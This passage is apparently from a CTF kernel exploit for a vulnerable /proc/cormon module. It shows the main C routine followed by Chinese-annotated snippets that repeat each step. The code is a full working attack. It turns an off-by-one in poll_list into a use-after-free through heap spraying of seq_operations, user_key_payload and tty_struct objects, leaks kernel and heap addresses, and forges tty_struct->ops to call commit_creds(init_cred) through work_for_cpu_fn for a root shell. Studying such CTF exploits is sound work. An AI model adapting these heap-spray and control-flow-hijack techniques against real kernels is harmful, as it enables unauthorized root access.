            log.success("Kernel base: 0x%llx", kernel_base);
            log.success("Kernel offset: 0x%llx", kernel_offset);

            free(key);
            return 0;
        }
        free(key);
    }
    return -1;
}

/* Free specific key */
void free_key(int i) {
    key_revoke(keys[i]);
    key_unlink(keys[i]);
    n_keys--;
}

/* Free all keys (optionally skip corrupted key) */
void free_all_keys(bool skip_corrupted_key) {
    int total = n_keys;
    for (int i = 0; i < total; i++) {
        if (skip_corrupted_key && i == corrupted_key) {
            continue;
        }
        free_key(i);
    }
    sleep(1);  /* Wait for RCU garbage collection */
}

/* Spray tty objects in kmalloc-32 cache */
void alloc_tty(int i) {
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    if (ptmx[i] < 0) {
        log.error("Failed to open /dev/ptmx");
        exit(-1);
    }
}

/* Leak heap pointer of tty_struct from corrupted key */
int leak_heap_pointer(int kid) {
    uint64_t *leak;
    char *key = get_key(kid, 0x20000);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0x20000 / sizeof(uint64_t); i++) {
        if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00) {
            if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0) {
                target_object = leak[i];
                log.success("tty_struct heap address: 0x%llx", target_object);
                log.debug("tty_struct->ops (0x%llx) points to tty_operations", leak[i+2]);
                free(key);
                return 0;
            }
        }
    }

    free(key);
    return -1;
}

void free_seq_ops(int i) {
    close(seq_ops[i]);
}

void free_tty(int i) {
    close(ptmx[i]);
}

/* Main exploit routine */
int main() {
    char data[0x1000] = {0};
    char key[32] = {0};
    uint64_t rop_chain[128];
    int i = 0;

    /* ===================================================================== */
    /* Phase 0: Initialization                                               */
    /* ===================================================================== */
    log.info("=== Kernel UAF Exploit: Off-by-one in poll_list leading to ROP ===");

    bind_core(0);
    save_status();

    /* Create xattr target file for user_key_payload spraying */
    system("touch /home/ctf/lol.txt");

    /* Open vulnerable module */
    fd = open("/proc/cormon", O_RDWR);
    if (fd < 0) {
        log.error("Failed to open vulnerable module /proc/cormon");
        return -1;
    }

    /* Prepare file descriptor for poll() */
    init_fd(0);

    /* ===================================================================== */
    /* Phase 1: Kernel Base Address Leak via seq_operations->single_show    */
    /* ===================================================================== */
    log.info("[Phase 1] Kernel Base Address Leak via seq_operations->single_show");

    /* Step 1-1: Spray 2048 seq_operations objects (kmalloc-32) */
    log.info("[1-1] Spraying 2048 seq_operations objects in kmalloc-32 cache");
    for (i = 0; i < 2048; i++) {
        alloc_seq_ops(i);
    }

    /* Step 1-2: Spray 72 user_key_payload objects (kmalloc-32) */
    log.info("[1-2] Spraying 72 user_key_payload objects in kmalloc-32 cache");
    for (i = 0; i < 72; i++) {
        setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    /* Step 1-3: Spray 14 poll_list objects (kmalloc-4096 + kmalloc-32) */
    bind_core(randint(1, 3));
    log.info("[1-3] Spraying 14 poll_list objects (kmalloc-4096 + kmalloc-32) for UAF");
    for (i = 0; i < 14; i++) {
        create_poll_thread(i, 4096 + 24, 3000, false);
    }

    bind_core(0);
    while (poll_threads != 14) {};
    usleep(250000);

    /* Step 1-4: Spray remaining 127 user_key_payload to fill key quota (199 total) */
    log.info("[1-4] Spraying remaining 127 user_key_payload objects (total 199)");
    for (i = 72; i < MAX_KEYS; i++) {
        setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    /* Step 1-5: Trigger off-by-one overflow in poll_list to corrupt user_key_payload->datalen */
    log.info("[1-5] Triggering off-by-one overflow in poll_list to corrupt user_key_payload->datalen");
    write(fd, data, PAGE_SIZE);

    /* Step 1-6: Arbitrary free via poll_list deallocation (frees user_key_payload) */
    log.info("[1-6] Triggering arbitrary free via poll_list deallocation (frees user_key_payload)");
    join_poll_threads();

    /* Step 1-7: Overwrite freed user_key_payload with 128 seq_operations */
    log.info("[1-7] Overwriting freed user_key_payload with 128 seq_operations");
    for (i = 2048; i < 2048 + 128; i++) {
        alloc_seq_ops(i);
    }

    /* Step 1-8: Leak kernel pointer from seq_operations->single_show */
    log.info("[1-8] Leaking kernel pointer via seq_operations->single_show");
    if (leak_kernel_pointer() < 0) {
        log.error("Kernel pointer leak via seq_operations->single_show failed");
        exit(-1);
    }

    /* ===================================================================== */
    /* Phase 2: Heap Address Leak via tty_struct                            */
    /* ===================================================================== */
    log.info("[Phase 2] Heap Address Leak via tty_struct");

    /* Step 2-1: Free 198 non-corrupted user_key_payload objects */
    log.info("[2-1] Freeing 198 non-corrupted user_key_payload objects");
    free_all_keys(true);

    /* Step 2-2: Spray 72 tty_file_private objects (kmalloc-32) */
    log.info("[2-2] Spraying 72 tty_file_private objects (kmalloc-32) to leak tty_struct");
    for (i = 0; i < 72; i++) {
        alloc_tty(i);
    }

    /* Step 2-3: Leak tty_struct heap address from corrupted key data */
    log.info("[2-3] Leaking tty_struct heap address from corrupted key data");
    if (leak_heap_pointer(corrupted_key) < 0) {
        log.error("Heap pointer leak via tty_struct failed");
        exit(-1);
    }

    /* ===================================================================== */
    /* Phase 3: Control Flow Hijacking via tty_struct->ops->ioctl()          */
    /* ===================================================================== */
    log.info("[Phase 3] Control Flow Hijacking via tty_struct->ops->ioctl()");

    /* Step 3-1: Free 128 seq_operations to free overlapping chunk */
    log.info("[3-1] Freeing 128 seq_operations to free overlapping chunk");
    for (i = 2048; i < 2048 + 128; i++) {
        free_seq_ops(i);
    }

    /* Step 3-2: Spray 192 poll_list objects to occupy freed kmalloc-32 chunks */
    bind_core(randint(1, 3));
    log.info("[3-2] Spraying 192 poll_list objects to occupy freed kmalloc-32 chunks");
    for (i = 0; i < 192; i++) {
        create_poll_thread(i, 24, 3000, true);
    }

    bind_core(0);
    while (poll_threads != 192) {};
    usleep(250000);

    /* Step 3-3: Free corrupted key to free poll_list->next pointer for UAF */
    log.info("[3-3] Freeing corrupted key to free poll_list->next pointer for UAF");
    free_key(corrupted_key);
    sleep(1);

    /* Step 3-4: Forge poll_list->next to point to tty_struct-0x18 */
    log.info("[3-4] Forging poll_list->next to target_object-0x18 via 199 user_key_payload");
    *(uint64_t *)&data[0] = target_object - 0x18;
    for (i = 0; i < MAX_KEYS; i++) {
        setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    /* Step 3-5: Free 72 tty_struct objects to create kmalloc-1024 hole */
    log.info("[3-5] Freeing 72 tty_struct objects to create kmalloc-1024 hole");
    for (i = 0; i < 72; i++) {
        free_tty(i);
    }
    sleep(1);

    /* Step 3-6: Spray 1024 tty_struct objects to occupy freed tty_struct chunks */
    log.info("[3-6] Spraying 1024 tty_struct objects in kmalloc-1024 cache");
    for (i = 0; i < 1024; i++) {
        alloc_tty(i);
    }

    /* Step 3-7: Trigger arbitrary free via poll_list->next UAF (frees tty_struct) */
    log.info("[3-7] Triggering arbitrary free via poll_list->next UAF (frees tty_struct)");
    while (poll_threads != 0) {};

    /* Step 3-8: Construct and spray ROP chain in freed tty_struct */
    log.info("[3-8] Constructing ROP chain for privilege escalation");

    rop_chain[0] = 0x0000000100005401;
    rop_chain[2] = target_object - 0x38;
    rop_chain[3] = target_object;
    rop_chain[12] = kernel_offset + WORK_FOR_CPU_FN;
    rop_chain[4] = kernel_offset + COMMIT_CREDS;
    rop_chain[5] = kernel_offset + INIT_CRED;

    log.info("[3-8-1] Freeing all 199 user_key_payload objects");
    free_all_keys(false);

    log.info("[3-8-2] Spraying 31 user_key_payload with ROP chain in kmalloc-1024");
    for (i = 0; i < 31; i++) {
        keys[i] = alloc_key(n_keys++, (char *)rop_chain, 600);
    }

    /* Step 3-9: Trigger tty_struct->ops->ioctl() to execute ROP chain */
    log.info("[3-9] Triggering tty_struct->ops->ioctl() for control flow hijack");
    for (i = 0; i < 1024; i++) {
        ioctl(ptmx[i], 0xdeadbeaf, 0xdeadbeaf);
    }
    if(!getuid()) {
        get_root_shell();
    }

    /* Cleanup 192 suspended poll threads */
    for (i = 0; i < 192; i++) {
        pthread_join(poll_tid[i], NULL);
    }

    return 0;
}

struct tty_file_private {
    struct tty_struct *tty;      /* 偏移0x00: 指向对应的tty_struct */
    struct file *file;           /* 偏移0x08: 指向关联的file结构 */
    struct list_head list;       /* 偏移0x10: 链表节点，用于tty文件管理 */
};

struct tty_struct {
    int magic;                   /* 偏移0x00: 魔术字0x5401，用于校验 */
    struct kref kref;            /* 偏移0x04: 引用计数 */
    struct device *dev;          /* 偏移0x08: 设备指针 */
    struct tty_driver *driver;   /* 偏移0x10: tty驱动指针 */
    const struct tty_operations *ops; /* 偏移0x18: 操作函数表 */
    int index;                   /* 偏移0x20: 设备索引号 */
    /* ... 其他字段 ... */
    struct tty_ldisc *ldisc;     /* 偏移0x60: 线路规程 */
    struct mutex atomic_write_lock; /* 偏移0x68: 写锁 */
    /* ... 更多字段，总大小0x2e0字节 ... */
};

/* 分配2048个seq_operations对象 */
for (i = 0; i < 2048; i++) {
    alloc_seq_ops(i);
}

/* 分配72个user_key_payload对象 */
for (i = 0; i < 72; i++) {
    setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
    keys[i] = alloc_key(n_keys++, key, 32);
}

/* 触发单字节内存操作 */
write(fd, data, PAGE_SIZE);

/* 内核地址信息获取实现 */
if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0xf70) {
    corrupted_key = i;
    proc_single_show = *leak;
    kernel_offset = proc_single_show - PROC_SINGLE_SHOW;
    kernel_base += kernel_offset;
}

/* 释放198个非目标user_key_payload对象 */
free_all_keys(true);

/* 分配tty_file_private对象 */
for (i = 0; i < 72; i++) {
    alloc_tty(i);  /* 打开/dev/ptmx，分配tty_file_private和tty_struct */
}

/* 堆地址信息获取实现 */
int leak_heap_pointer(int kid) {
    uint64_t *leak;
    char *key = get_key(kid, 0x20000);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0x20000 / sizeof(uint64_t); i++) {
        /* 验证条件1: 第一个8字节是堆地址且16字节对齐 */
        if (is_heap_pointer(leak[i]) && (leak[i] & 0xf) == 0x00) {
            /* 验证条件2: list.next == list.prev 且不为0 */
            if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0) {
                target_object = leak[i];
                log.success("tty_struct heap address: 0x%llx", target_object);
                log.debug("tty_file_private->list.next = 0x%llx", leak[i+2]);
                log.debug("tty_file_private->list.prev = 0x%llx", leak[i+3]);
                free(key);
                return 0;
            }
        }
    }
    return -1;
}

/* 释放128个seq_operations对象 */
for (i = 2048; i < 2048 + 128; i++) {
    free_seq_ops(i);
}

/* 分配192个poll_list对象 */
bind_core(randint(1, 3));
for (i = 0; i < 192; i++) {
    create_poll_thread(i, 24, 3000, true);
}

/* 释放corrupted user_key_payload */
free_key(corrupted_key);
sleep(1);  /* 等待RCU内存回收 */

/* 设置poll_list->next指向target_object-0x18 */
*(uint64_t *)&data[0] = target_object - 0x18;
for (i = 0; i < MAX_KEYS; i++) {
    setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
    keys[i] = alloc_key(n_keys++, key, 32);
}

/* 释放tty_struct对象 */
for (i = 0; i < 72; i++) {
    free_tty(i);
}
sleep(1);  /* 等待RCU内存回收 */

/* 重新分配tty_struct对象 */
for (i = 0; i < 1024; i++) {
    alloc_tty(i);
}

/* 触发poll_list释放 */
while (poll_threads != 0) {};

/* 释放所有user_key_payload对象 */
free_all_keys(false);

/* 控制流调整链构建 */
rop_chain[0] = 0x0000000100005401;  /* tty_struct->magic = 0x5401 */
rop_chain[2] = target_object - 0x38;  /* tty_struct->driver，避免空指针解引用 */
rop_chain[3] = target_object;  /* tty_struct->ops，指向自身 */
rop_chain[12] = kernel_offset + WORK_FOR_CPU_FN;  /* tty_operations->ioctl */
rop_chain[4] = kernel_offset + COMMIT_CREDS;  /* work_for_cpu->fn */
rop_chain[5] = kernel_offset + INIT_CRED;  /* work_for_cpu->arg */

/* 分配包含控制流调整链的user_key_payload对象 */
for (i = 0; i < 31; i++) {
    keys[i] = alloc_key(n_keys++, (char *)rop_chain, 600);
}

static void work_for_cpu_fn(struct work_struct *work)
{
    struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
    wfc->ret = wfc->fn(wfc->arg);
}

/* 顺序尝试所有可能的tty_struct对象 */
for (i = 0; i < 1024; i++) {
    ioctl(ptmx[i], 0xdeadbeaf, 0xdeadbeaf);
}